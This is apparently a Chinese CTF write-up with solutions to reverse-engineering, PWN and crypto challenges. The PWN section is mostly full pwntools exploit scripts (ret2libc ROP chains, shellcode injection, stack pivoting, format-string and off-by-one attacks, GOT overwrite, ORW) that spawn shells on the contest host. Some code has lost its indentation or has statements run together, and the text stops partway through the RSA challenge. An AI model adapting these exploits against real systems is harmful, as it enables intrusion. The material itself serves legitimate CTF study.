  • 接下来写解密脚本,这里注意一下,在num这个列表是[-1,-36,26,-5,14,41,6,-9,60,29,-28,17,21,7,35,38,26,48]而不是从48开始。

  • 接下来解密脚本:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
num1 = [-1,-36,26,-5,14,41,6,-9,60,29,-28,17,21,7,35,38,26,48]
a = 13
b = 14
c = (b + a) ^ a
d = b * 100
e = a ^ b
m = d - 4 * c + e - 1
r = m % 26
print(r)
key = 'SYC'
#cipher.append((ord(s2[i]) ^ i) + ((~ord(key[i%3])+1)))
c = []
d = []
for i in range(len(num)):
a = num[i] - ((~ord(key[i%3]))+1)
c.append(chr(a^i))
print(c)
for i in range(len(num)):
a = num1[i] - ((~ord(key[i%3]))+1)
d.append(chr(a^i))
print(d)
print(len(d))
e = ''
print(d)
for i in d:

if 'A' <= i:
if i <= 'Z':
e+= chr((((ord(i)-ord('A') - r)%26) + ord('A')))
if 'a' <= i:
if i <= 'z':
e+=chr(((ord(i) - ord('a') - r) % 26) + ord('a'))
if '0' <= i:
if i <= '9':
e+=chr(((ord(i) - ord('0') - r) % 10 )+ ord('0'))
else:
e+=i

print(e)
# D0YouIik3python
# 我写的脚本还有点问题,最后再加上下滑线即可
# D0_You_Iik3_python
# 然后按照要求SYC{md5{input}}
# 最后flag:SYC{ed798fdd74e5c382b9c7fcca88500aca}

贝斯!贝斯!

  • 逆向顺序
1
sub_4018FF----->sub_4019EE------>sub_401AF6----->sub_401C6A
  • 打开附件查看main函数,看到这一部分与加密有关

image-20241115224747244

image-20241115224800134

  • 之后再查看sub_401C6A函数,查看该函数后发现要进行逆向得先逆向这个函数里面的部分

image-20241115224907464

  • 然后再打开这个逆向我们要先逆向这里面的函数

image-20241115224941817

  • 所以我们先要逆向这个位置

image-20241115225002210

  • 逆向过程,这一部分逆向出来了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
c = 'RjB6Myu#,>Bgoq&u.H(nBgdIaOKJbgEYj1GR4S.w'
key = 'happy_happy'
num = [i for i in range(256)]
print(num)
print(len(c))
# 求解1,先利用key求与c加密有关的
def deckey1(key,num):
v5 = 0
for j in range(256):
v5 = ( (ord(key[j%len(key)]) + v5 + num[j])%256 )
v4 = num[j]
num[j] = num[v5]
num[v5] = v4
print(num)

deckey1(key,num)
# [104, 202, 195, 13, 75, 94, 254, 140, 26, 182, 218, 232, 186, 55, 181, 167, 5, 145, 148, 46, 229, 43, 171, 35, 36, 52, 199, 57, 67, 59, 201, 147, 241, 183, 243, 132, 22, 219, 39, 14, 62, 215, 113, 250, 15, 137, 149, 124, 221, 174, 102, 192, 108, 223, 196, 175, 156, 88, 119, 84, 38, 227, 2, 93, 200, 206, 120, 123, 135, 136, 208, 234, 114, 184, 6, 185, 126, 48, 160, 95, 216, 233, 72, 118, 211, 150, 240, 7, 33, 80, 157, 180, 193, 100, 144, 176, 78, 92, 30, 252, 115, 45, 17, 130, 205, 178, 125, 63, 79, 117, 163, 23, 21, 74, 203, 230, 165, 16, 111, 190, 245, 214, 107, 189, 25, 53, 166, 164, 96, 188, 68, 20, 86, 8, 244, 73, 34, 12, 89, 77, 50, 198, 121, 170, 172, 37, 27, 138, 158, 168, 251, 238, 194, 212, 179, 253, 209, 49, 210, 143, 69, 109, 217, 236, 71, 11, 204, 177, 173, 207, 85, 141, 9, 3, 98, 0, 105, 41, 197, 97, 129, 235, 213, 122, 70, 24, 247, 112, 47, 110, 220, 18, 155, 226, 231, 60, 103, 40, 44, 222, 116, 65, 154, 90, 248, 153, 242, 127, 142, 10, 66, 31, 225, 87, 82, 61, 239, 128, 101, 162, 249, 134, 81, 255, 19, 146, 4, 76, 64, 191, 187, 169, 139, 237, 228, 58, 91, 1, 159, 246, 54, 151, 161, 51, 32, 106, 99, 56, 28, 83, 29, 131, 42, 133, 224, 152]

  • 然后再逆向这个函数sub_4019EE
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
def deckey2(num1):
v6 = 0
v7 = 0
list = []
for i in range(85):
v7 = (v7 + 1) % 256
v6 = (num1[v7] + v6 ) % 256
v4 = num1[v7]
num1[v7] = num1[v6]
num1[v6] = v4
list.append(num1[ (num1[v7]+num1[v6])%256 ])
print(list)

deckey2(num1)
num2 = [115, 12, 155, 218, 128, 248, 219, 60, 26, 194, 194, 159, 167, 221, 105, 149, 49, 187, 1, 66, 36, 110, 14, 161, 150, 41, 51, 99, 227, 30, 69, 59, 114, 66, 209, 168, 221, 174, 216, 200, 56, 210, 35, 197, 226, 222, 85, 2, 156, 132, 135, 226, 226, 110, 69, 253, 42, 101, 157, 6, 80, 129, 238, 32, 67, 86, 89, 122, 14, 162, 158, 52, 245, 163, 4, 98, 146, 14, 32, 207, 140, 253, 142, 144, 21]
  • 接下来就需要逆向sub_401AF6这个函数,这一部分逆向后代码如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def deckey3(num2):
str_base = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!#$%&()*+,-./:;<=>?@[]^_`{|}~'
base1 = ''
v5 = [m-m for m in range(88)]
for i in range(85):
j = num2[i] % 0x55
while v5[j]:
v3 = j + 1
j = int((j+1)/85)
j = v3 - 85*j
base1 += str_base[j]
v5[j] = 1
print(base1)

deckey3(num2)
base1 = 'eM+wr=x8aYZ/[zU$yRB&kbO;%p0P5f*7d(n]1Eug4ojc62AC,v39!h-^qQ.G?s)i:DFlS<>#@HINJTmtKLVWX'

PWN

简单的签到

  • 拿到附件先使用IDA进行分析
  • 得到的结果就是,随机生成俩个数字,求他们的乘积

image-20241101235029270

  • 这题就是简单的计算题,但是这题是有时间限制的,所以这就需要我们会使用pwntools写脚本

  • 下面就是对应的交互脚本

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
context(log_level='debug')
p = remote('nc1.ctfplus.cn',25441)
p.sendafter(b't our challenge.\n',b'\n')
a = p.recvuntil(b'=')[:-1]
print(a)
b = eval(a.decode('utf-8'))
print(b)
p.sendline(str(b).encode('utf-8'))
p.sendlineafter(b'Correct! Opening shell...',b'cat flag\x00\n')
p.interactive()
  • 得到flag
1
SYC{479822ae-143b-4980-8a30-c9098a1f0040}

你会栈溢出吗

  • 还是下载好附件后使用IDA反编译该文件,发现gets

image-20241102001020446

  • 然后还发现了system("/bin/sh")这个函数

image-20241102001705200

  • 思路就是ret2text,栈溢出到key这边即可拿到shell
1
2
3
4
5
6
from pwn import *
p = remote('nc1.ctfplus.cn',37273)
payload = b'a'*(0xc+0x8) + p64(0x40073D)
p.sendline(payload)
p.sendline(b'cat flag\x00\n')
p.interactive()

image-20241102001914035

1
SYC{e2842599-dd38-45c7-a451-dae0e62e4105}

ez_shellcode

  • 简单的shellcode+栈溢出的运用
  • 使用IDA打开对该二进制文件进行反编译后就会出现如下代码
  • 发现有gets栈溢出,然后还开辟了一个内存空间给我们注入shellcode

image-20241102000145811

  • 思路就是将shellcode注入开辟的内存空间,然后使用gets栈溢出返回到shellcode,并且执行shellcode,然后getshell
  • exp如下:
1
2
3
4
5
6
7
8
9
10
from pwn import *
context(arch = 'amd64')
p = remote('nc1.ctfplus.cn',11758)
payload = asm(shellcraft.sh())
print(len(payload))
print(payload)
p.sendlineafter(b'do you know shellcode?\n',payload)
payload1 = b'a'*0x20 +p64(0x401464) +p64(0x401256)
p.sendlineafter(b'please input your name:\n',payload1)
p.interactive()
  • 打出来可以直接获得flag
1
SYC{26692bf7-e59b-4995-9a7a-9b6fc2435e13}

image-20241102000717311

over_flow??

  • 拿到附件后老样子,查看保护机制,发现开了金丝雀

image-20241113165605098

  • 之后使用IDA打开,对该文件进行反编译,发现是一个文件管理系统

image-20241113165641023

  • 然后在自定义read文件的函数这边找到了一个溢出一个字节的漏洞

image-20241113165738379

  • 然后再查看溢出到什么位置,发现可以溢出改变open_fd的值

image-20241113165807213

  • 而溢出改变的值刚好会当做系统调用号去使用

image-20241113165859480

  • 这时思路就来了,直接溢出改成execve的系统调用号,然后将filename前八字节写入/bin/sh\x00,这样原本filename被当做地址传入,恰好又是sh的地址,直接getshell
  • exp如下:
1
2
3
4
5
6
from pwn import *
p = remote('nc1.ctfplus.cn',35043)
p.sendlineafter(b'>>\n',b'2')
payload = b'/bin/sh\x00' + p8(59)
p.sendafter(b'>>\n',payload)
p.interactive()

00000

  • 继续使用IDA打开附件并反编译该附件,然后发现,该题会生成一个密码,然后使用strcmp函数比较用户输入的字符串和随机生成的密码是否相等

image-20241102002135128

  • 接下来查看generate_password函数,该函数会读取/dev/urandom文件,该文件是用来生成随机数的

image-20241102002316341

  • 本题就是利用strcmp漏洞,输入\x00对该字符串比较进行截断,然后随机数生成凭借概率,会让第一位生成\x00,这时比较两个正好相等,即可cat flag

  • exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
context(log_level='debug')

while True:
p = remote('nc1.ctfplus.cn', 30955)
payload = b'\x00'
p.sendlineafter(b'Enter the password:',payload)
a = p.recvline()
print(a)
if b'Now you have the secret document, please keep it safe.\n' in a:
print(p.recvline())
break
p.close()
  • 这样即可得到flag

image-20241102002749364

1
SYC{6bf77f02-7b07-4ffd-9946-0d1afa5c9167}

买黑吗喽了吗

  • 下载好附件后先checksec一下该二进制附件,这里主要是开了pie,还要泄露程序的地址

image-20241106173005145

  • 然后再来使用IDA反编译该二进制文件,反编译后就会发现这里面有一个栈溢出漏洞

image-20241106173212116

  • 但是由于开了pie,所以我们还需要泄露一下程序的基地址,这样才能泄露libc
  • 通过代码动态调试和代码审计可以得到如下逻辑
  • 该处可以泄露Balance的地址,所以就泄露了main函数的地址

image-20241111085309723

  • 但是要泄露Balance的地址就要满足!strcmp(str1, str2)为0,即strcmp(str1, str2)不为0
  • 再查看这俩个字符串

image-20241111085503863

  • str1就需要变得和str2不一样,并且之后printf函数的输出是str1字符串内的内容

image-20241111085607261

  • 所以我们要修改str1,修改str1就需要执行如下,发现在比较Balance的时候是无符号整数的型式

image-20241111085706077

  • 然后根据程序逻辑,我们要购买8次wukong,然后再购买一次<<The Journey to the West>>即可造成整数溢出
  • 同时发现有个礼物

image-20241111090236242

  • 所以思路如下,可以直接编写exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *
p = remote('nc1.ctfplus.cn',23594)
#p = process('./syscall')
context(log_level='debug')
def shop(choice):
p.sendlineafter(b'your choice:\n',b'1')
p.sendlineafter(b'your choice:\n',str(choice).encode('utf-8'))


shop(1)
shop(1)
shop(1)
shop(1)
shop(1)
shop(1)
shop(1)
shop(1)
shop(2)
#gdb.attach(p)
p.sendlineafter(b'your choice:\n',b'2')
p.sendline(b'%p')
p.recvuntil('And your Balance :')
balance_addr = p.recvline()[3:17]
print("balance_addr---->",balance_addr)
balance_addr = int(balance_addr.decode('utf-8'),16)
print(hex(balance_addr))
addr = balance_addr - 0x4090
p.sendlineafter(b'your choice:\n',b'3')
pop_rdi = 0x11f1+addr
pop_rsi = 0x11f3+addr
puts_got = 0x3FB0+addr
puts_plt = 0x1090+addr
printf = 0x3FC0+addr
Write_addr = 0x14BC+addr
payload = b'a'*0x58 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(Write_addr)
p.sendlineafter(b'Tell me your feedback:\n',payload)
p.recvuntil(b'Thanks for your feedback!We`ll do it better!\n')
puts_addr = p.recvline()[:6]
print(puts_addr)
puts_addr = int.from_bytes(puts_addr,'little')
print(hex(puts_addr))
libc_addr = puts_addr - 0x84420
sh_addr = libc_addr + 0x1b45bd
sys_addr = 0x52290 + libc_addr
ret_addr = 0x1570 + addr
payload1 = b'a'*0x58 + p64(pop_rdi) + p64(sh_addr) +p64(ret_addr)+p64(sys_addr)
p.sendlineafter(b'Tell me your feedback:\n',payload1)
p.interactive()

这里的空间有点小啊

  • 拿到附件先检查一下保护机制,发现没开PIE和金丝雀

image-20241112093946257

  • 然后使用IDA反编译该代码,同时发现溢出点

image-20241112094027793

  • 但是只够溢出到返回地址,注意到汇编指令中有leave指令

image-20241112094117946

  • 所以本题采用的就是栈迁移的方法来打
  • exp如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *
context(log_level='debug')
p = process('./main')
# nc1.ctfplus.cn 24858
p = remote('nc1.ctfplus.cn',46570)
p.sendlineafter(b'>>\n',b'1')
bss_addr = 0x601800
payload = b'a'*0x30 + p64(bss_addr) + p64(0x40071C)
p.sendafter(b'Now you can write something\n',payload)
payload1 = b'a'*0x30 + p64(bss_addr+0x40) + p64(0x40071C)
p.send(payload1)
#gdb.attach(p)
rdi_ret = 0x400853
rsi_r15_ret = 0x400851
puts_got = 0x600FD0
puts_plt = 0x400580
payload2 = p64(bss_addr+0x40)
payload2 += p64(rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(0x400708)
payload2 += b'a'*0x8 + p64(bss_addr+0x10) + p64(0x400738)
p.send(payload2)
payload3 = b'a'*0x10
#p.send(payload3)
puts_addr = p.recvline()[:6]
print('puts_addr---->',puts_addr)
puts_addr = int.from_bytes(puts_addr,'little')
print(hex(puts_addr))
libc_addr = puts_addr - 0x80970
sys_addr = libc_addr + 0x4F420
sh_addr = libc_addr + 0x1B3D88
#sys_addr = puts_addr - 196832
#sh_addr = puts_addr + 1407016
payload4 = b'a'*0x30 + p64(bss_addr+0x10) + p64(0x40071C)
#payload4 = b'a'*0x8 + p64(bss_addr+0x40)
#payload4 += p64(rdi_ret) + p64(sh_addr) +p64(sys_addr)
#payload4 += p64(bss_addr+0x18) + p64(0x40071C)
p.send(payload4)
payload5 = b'a'*0x30 + p64(bss_addr+0x40) + p64(0x40071C)
p.send(payload5)
payload6 = p64(bss_addr+0x40)
payload6 += p64(rdi_ret) + p64(sh_addr) +p64(0x400739)+p64(sys_addr)
payload6 += b'a'*0x8 + p64(bss_addr+0x10) +p64(0x400738)
p.send(payload6)
p.interactive()

苏~~~~

  • 简单的ret2libc
  • 溢出点如下:

image-20241112105636960

  • exp如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
context(log_level='debug')
p = process('./csu')
p = remote('nc1.ctfplus.cn',22328)
p.sendlineafter(b'[3] exit.\n',b'1')
#gdb.attach(p)
pop_rdi = 0x400903
puts_got = 0x601018
puts_plt = 0x4005F0
writesomething = 0x400798
payload = b'a'*0x88 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt)
payload += p64(writesomething)
p.sendline(payload)
puts_addr = p.recvline()[:6]
print('puts_addr----->',puts_addr)
puts_addr = int.from_bytes(puts_addr,'little')
print(hex(puts_addr))
libc = puts_addr - 0x80970
sys_addr = 0x4F420+libc
sh_addr = 0x1B3D88+libc
payload = b'a'*0x88 + p64(pop_rdi) + p64(sh_addr) + p64(0x4005d6)+p64(sys_addr)
p.send(payload)
p.interactive()

真能走到后门吗

  • 不多说抽象题目,考格式化字符串漏洞,还有一个off-by-one,思路限制的非常死。
  • 拿到附件先查看一下保护机制,发现金丝雀开了

image-20241112231322875

  • 然后拿到附件查看,main函数没有什么漏洞溢出点

image-20241112231423733

  • 再查看vuln函数,发现有明显的格式化字符串漏洞

image-20241112231450876

  • 然后我还注意到read_str存在off-by-one,会溢出一个字节

image-20241112231537145

  • 这题光看是没有用的,要动态调试才能找到利用方式,这题牢了我好几个小时,利用思路就是利用格式化字符串漏洞,修改返回地址0x4013F1,中的0x130x12,然后再使用off-by-one将0xF1修改为0x85(这里不修改为0x7D的原因是存在栈对齐,如果修改为0x7D执行后面函数时,栈不会对齐16字节)
  • exp如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
context(log_level='debug')
p = remote('nc1.ctfplus.cn',36217)
# nc nc1.ctfplus.cn 36217
#p = process('./fmt')
p.sendlineafter(b'tell me your ID:\n',b'a')
p.sendlineafter(b'OK,whats your name?\n',b'%14$p,%13$p')
v1 = p.recvline()
v1 = p.recvline()
print(v1)
#gdb.attach(p)
v0 = v1[:14]
print('v0---->',v0)
v0 = int(v0,16)
cannary = v1[15:-1]
print('cannary--->',cannary)
cannary = int(cannary,16)
print(cannary)
print(hex(v0))
payload = b'a'*0x20 + b'a'*0x8 + b'a'*0x8 + p64(v0-0x18+0x1)
payload += p64(cannary) +p64(v0) + p8(0xEC)
p.sendline(payload)
pause()
payload = b'a'*0x20 + b'a'*0x4 + b'%1$p' + b'%12$hhn'+b'a' + p64(v0-0x18+0x1)
payload += p64(cannary) + p64(v0) + p8(0xEC)
pause()
p.sendline(payload)
payload = b'a'*0x20 + b'a'*0x4 + b'%1$p' + b'%12$hhn'+b'a' + p64(v0-0x18+0x1)
payload += p64(cannary) + p64(v0) + p8(0x85)
pause()
p.sendline(payload)
p.interactive()
  • 图片如下:

image-20241112231256654

  • 最后得到flagSYC{64121dc2-6c8b-4232-877b-7d0c40c185a9}

orz?orw!

  • 基础的orw题型,正常思路,没写shellcode,比较麻烦
  • 拿到附件先check一下,发现没开PIE,然后开了canary。

image-20241113224742777

  • 然后再来使用IDA反编译,发现buf那边存在溢出,可以先泄露Canary,然后还可以溢出导致read,v6那边可以写入更多字节,然后导致栈溢出

image-20241113224853136

  • 同时发现有sandbox

image-20241113224958495

  • 查看一下沙箱,发现最醒目的是禁用了execve,这样我们就不能getshell,所以需要orw

image-20241113225024261

  • 这题orw使用csu这条ROP链传参。先泄露libc,得到Syscall地址,然后将Syscall地址和./flag写入bss段,然后再open,read,puts,就可以得到flagSYC{9f347143-9ba9-4cfc-9913-6a4d2525f8f3}

image-20241113225239896

  • exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
from pwn import *
context(log_level='debug')
#p = process("./orw")
p = remote('nc1.ctfplus.cn',36350)
#gdb.attach(p)
p.sendlineafter(b'please input your size:\n',b'4')
payload = b'a'*0x1 + p8(255) + b'a'*0x7
p.sendlineafter(b'Please input your name:\n',payload)
p.recvuntil(b'Hello a\xffaaaaaaa\n')
#cannary = p.recvline()[:-1]
#print(cannary)


cannary = p.recvline()
print('cannary----->',hex(int.from_bytes(cannary,'little')))
cannary = b'\x00' + cannary

pop_rdi = 0x4014a3
pop_rsi_r15 = 0x4014a1
ret = 0x40101a
puts_got = 0x404028
puts_plt = 0x4010F4
main_addr = 0x401328
read_plt = 0x404048
pop_rbx_rbp__r15 = 0x40149A
bss = 0x404250
call_addr = 0x401480
# r12 ---> rdi
# r13 ---> rsi
# r14 ---> rdx
# rbx ---> 0
# rbp ---> 1
# r15 ---> ret_addr

payload1 = b'a'*0x4 + cannary + b'a'*0x7 + p64(pop_rdi) + p64(puts_got)
payload1 += p64(puts_plt) + p64(main_addr)
p.sendlineafter(b'give me your id\n',payload1)
p.recvuntil(b'Great!now you can do what you want!\n')
puts_addr = p.recvline()[:-1]
print('puts_addr------->',puts_addr)
puts_addr = int.from_bytes(puts_addr,'little')
#syscall_addr = puts_addr + 0x9DA20
libc = puts_addr - 0x84420
syscall_addr = 0x118940 + libc
p.sendlineafter(b'please input your size:\n',b'4')
p.sendafter(b'Please input your name:\n',payload)
payload2 = b'a'*0x4 + cannary + b'a'*0x7 + p64(pop_rbx_rbp__r15)
payload2 += p64(0) + p64(1) + p64(0) + p64(bss) + p64(0x10) + p64(read_plt)
payload2 += p64(call_addr) + p64(0xdeadbeff)*7 + p64(main_addr)
p.sendafter(b'give me your id\n',payload2)
pause()
print('------>',p64(syscall_addr))
payload3 = p64(syscall_addr) + b'./flag\x00\x00\x00\x00'
p.send(payload3)

p.sendlineafter(b'please input your size:\n',b'4')
p.sendlineafter(b'Please input your name:\n',payload)

payload4 = b'a'*0x4 + cannary + b'a'*0x7 + p64(pop_rbx_rbp__r15)
payload4 += p64(0) + p64(1) + p64(0x2) + p64(bss+0x8) + p64(0x0) + p64(bss)
payload4 += p64(call_addr) + p64(0xdeadbeff)*7 + p64(main_addr)
p.sendlineafter(b'give me your id\n',payload4)

p.sendlineafter(b'please input your size:\n',b'4')
p.sendlineafter(b'Please input your name:\n',payload)
payload5 = b'a'*0x4 + cannary + b'a'*0x7 + p64(pop_rbx_rbp__r15)
payload5 += p64(0) + p64(1) + p64(3) + p64(bss+0x50) + p64(0x50) + p64(read_plt)
payload5 += p64(call_addr) + p64(0xdeadbeff)*7 + p64(main_addr)
p.sendlineafter(b'give me your id\n',payload5)

p.sendlineafter(b'please input your size:\n',b'4')
p.sendlineafter(b'Please input your name:\n',payload)
payload6 = b'a'*0x4 + cannary + b'a'*0x7 + p64(pop_rdi) + p64(bss+0x50) + p64(puts_plt)p.sendlineafter(b'give me your id\n',payload6)

p.interactive()

FindG????t

  • 非常抽象的题目,不知道是不是我没对上思路还是出题人就想这么搞。
  • 拿到附件先老样子,check一下

image-20241115150436807

  • 然后使用IDA打开该文件,发现这个地方可以造成溢出,首先想到的是覆盖返回值,但是只能覆盖一个字节

image-20241115150515608

  • 经过动态调试发现,覆盖返回值的一个字节(返回值刚好是libc_start_main),然后就可以再次执行一遍main函数的。但是这个并没有什么用处。所以继续动态调试。
  • 经过动态调试发现,rax的值我们可以控制,rdi的值为v4这个字节数组的地址,而我发现,当覆盖为0xb4的会返回到Syscall函数(在本地调试的时候会出现该情况)

image-20241115151416122

  • 之后思路来了,在本地打通了。但是在远程可能是因为libc版本导致偏移量不同。所以就采用爆破字节的方法来得到Syscall的正确位置,从而getshell

  • exp:如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
context(log_level='debug')
#p = process('./FindG')
#gdb.attach(p)
for i in range(100):
p = remote('nc1.ctfplus.cn',18628)
p.sendafter(b'>',b'/bin/sh\x00')
payload = 0x58
p.sendlineafter(b'index:',str(payload).encode('utf-8'))
p.send(p8(0xe5+i))
# 0x89 0xb0
# syscall 0xb4
#p.send(p8(0xb0))
p.sendlineafter(b'index2:',str(59).encode('utf-8'))
p.sendline(b'cat flag\n')
p.interactive()
p.close()

flag如下:flag{0d05fdd8-0b94-4efd-8535-f7682567b4d5}

image-20241115150347837

stack_overflow

  • 拿到附件先查看保护机制,发现有开Canary,没有开pie,RELRO也没开,这就意味着got表可被改写

image-20241118201702205

  • 接下来使用IDA反编该可执行文件,会发现这里可以指定内存地址写入或者修改内容,但是我们指定内存地址并不能指定为末尾为0x0或者0x8的内存地址

image-20241118202513914

  • 然后又看到后面存在溢出,但是存在Canary保护

image-20241118203513594

  • 所以本题思路就是直接修改__stack_chk_fail函数的got表,然他返回到每次call该函数的时候就直接call到000000000040137F leave
  • 这样就可以绕过Canary了,但是由于不能指定修改的地址结尾为0x0或者0x8所以我指定buf为0x403380-0x1所以这就会导致puts的got表也被修改,之后就只能用printf函数泄露libc地址了
  • 之后就是正常的ret2libc了

  • exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
context(log_level='debug')
p = remote('nc1.ctfplus.cn',42345)
#p = process('./overflow')
#gdb.attach(p)
p.recvuntil(b'give this gift:')
fs = p.recvline()[:6]
stack_chk_fail = 0x40337e
print(fs)
fs = int.from_bytes(fs,'little')
print(hex(fs))
p.sendafter(b'please input *ptr:',p64(stack_chk_fail))
# de2d70
# 40137F
payload = b'x\00' + b'\x7f' + b'\x13'+ b'@'
print(p32(0x40137F))
p.sendafter(b'change *address:',payload)
bss_addr = 0x403750
pop_rdi_rcx = 0x40123f
read_got = 0x403390
printf_plt = 0x4010B4
payload1 = b'a'*0x20 + p64(bss_addr) + p64(pop_rdi_rcx) + p64(read_got)
payload1 += p64(0xdeadbeff) + p64(printf_plt) + p64(0x401350)
p.sendlineafter(b'buf:',payload1)
read_addr = p.recv()
read_addr = int.from_bytes(read_addr,'little')
print(hex(read_addr))
libc_addr = read_addr - 0x1147D0
sys_addr = libc_addr + 0x50D70
sh_addr = 0x1D8678+libc_addr
payload2 = b'a'*0x28 + p64(pop_rdi_rcx) + p64(sh_addr) +p64(0x0)
payload2 += p64(sys_addr)
p.sendline(payload2)
p.interactive()
  • 复现后得到flag:

image-20241118205522440

stdout

  • 还是老样子,打开附件检查一下保护机制,发现开了pie,但是没有开Canary

image-20241118204501135

  • 使用IDA反编译查看一下代码,在初始化这边看到了与其他题目不同的地方,标准输出被修改成了全缓冲,而不是无缓冲模式,这就意味着要等buf这个缓冲区满了之后,程序才会输出出来

image-20241118204543559

  • 这里还有一个gift,可以用来泄露栈上的rbp的地址

image-20241118204700166

  • 这里我们在运行程序的时候还注意到,write可以直接输出,而不是放入缓冲区中

image-20241118204747319

  • 之后vuln函数存在溢出

image-20241118204826792

  • 思路是这样的,先泄露栈地址,然后再利用内存分页机制,导致代码段末尾地址一样通过off-by-one,返回到main函数的write函数那边直接就可以泄露一下main函数的地址,接收完后再通过栈迁移泄露libc地址。最后就可以ret2libc得到shell。
  • 这里为什么可以通过write泄露地址是通过动态调试发现的,动态调试发现恰好rdi、rsi、rdx这三个寄存器能符合泄露main函数地址的条件。
  • 注意泄露栈地址和泄露libc地址都需要将缓冲区给充满,才能泄露出这俩个地址
  • exp如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
import time
from pwn import *
context(log_level = 'debug')
#p = process('./stdout')
#gdb.attach(p,'p &buf\n c')
p = remote('nc1.ctfplus.cn',36330)
payload = b'a'*0x50
p.send(payload)
payload1 = b'a'*0x48 + p8(0x29)
for i in range(103):
sleep(0.1)
p.send(payload1)
for i in range(103*2):
a = p.recvline()
if b'\x7f' in a:
print(a)
b = a[len(a)-7:len(a)-1]
print('b---->',b)
b = int.from_bytes(b,'little')
b = b - 0x348
print(hex(b))
pause()
payload2 = b'a'*0x48 + p8(0x78)
p.send(payload2)
p.recvuntil(b'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')
main_addr = p.recv()
main_addr = main_addr[:len(main_addr)-18]
main_addr = int.from_bytes(main_addr,'little')
main_addr = main_addr - 0x1382
print('main---->',hex(main_addr))
pop_rdi = 0x1403 + main_addr
ret = 0x101a + main_addr
puts_got = 0x3FA0 + main_addr
puts_plt = 0x10B0 + main_addr
leave = 0x1327 + main_addr
payload3 = p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(0x1329+main_addr)
payload3 += b'a'*0x20 + p64(b-0x48) + p64(leave)
p.sendline(payload3)
for i in range(103):
sleep(0.1)
p.send(payload1)
for i in range(103*2):
a = p.recvline()
if b'\x7f' in a:
print(a)
puts_addr = a[:len(a)-1]
print('puts_addr---->',puts_addr)
puts_addr = int.from_bytes(puts_addr,'little')
libc_addr = puts_addr - 0x84420
sys_addr = libc_addr + 0x52290
sh_addr = libc_addr + 0x1B45BD
payload = b'a'*0x48 + p64(pop_rdi) + p64(sh_addr) + p64(sys_addr)
p.sendline(payload)
p.interactive()
  • 复现后得到flag:SYC{9f3c06ae-4cfe-4111-9f58-a6fc7eff8ce9}

image-20241118205409244

Crypto

凯撒加密

  • 随波逐流一把梭,flagSYC{WELCOME_TO_2024_GEEK_CHALLENGE}

image-20241115180009980

X0R

  • 题目如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from Crypto.Util.number import *
from pwn import xor

key = b'...'
flag = b'...'
assert len(key)==4

enc = bytes_to_long(xor(flag,key))

f1 = 4585958212176920650644941909171976689111990
f2 = 3062959364761961602614252587049328627114908
e1 = enc^f1
e2 = e1^f2
print(e2)
"""

"""
"""
10706859949950921239354880312196039515724907
"""
  • 这题考的就是pwntools中字节类型的异或和整数类型的异或
  • 这题主要求出key就可以很快得到flag了

  • 由于

1
2
3
e2 = e1^f2
e1 = enc^f1
e2 = 10706859949950921239354880312196039515724907
  • 所以可得
1
2
3
4
e1 = e2^f2
#然后再得到
enc = e1^f1
#这样就可以得到密文
  • 再将密文转化为字节类型

  • 题目告诉我们flag开头为SYC{

  • 所以根据异或的运算特点就可以得到key,从而得到flag
  • exp如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import ascii
import string
import libnum
from pwn import xor
print(string.printable)

e2 = 10706859949950921239354880312196039515724907
f1 = 4585958212176920650644941909171976689111990
f2 = 3062959364761961602614252587049328627114908
e1 = f2^e2
enc = f1^e1
print(enc)
a = b''
p = 1
l = b'SYC{'
c = libnum.n2s(enc)
print(c)
key = xor(b'mes)',b'SYC{')
print(xor(c,key))
  • flag:SYC{a_part_0f_X0R}

RSA

  • 题目如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from Crypto.Util.number import bytes_to_long, getPrime
from secret import flag
p = getPrime(128)
q = getPrime(128)
n = p*q
e = 65537
m = bytes_to_long(flag)
c = pow(m, e, n)
print(f"n = {n}")
print(f"p = {p}")
print(f"q = {q}")
print(f"c = {c}")

'''
n = 33108009203593648507706487693709965711774665216872550007309537128959455938833
p = 192173332221883349384646293941837353967
q = 172282016556631997385463935089230918399
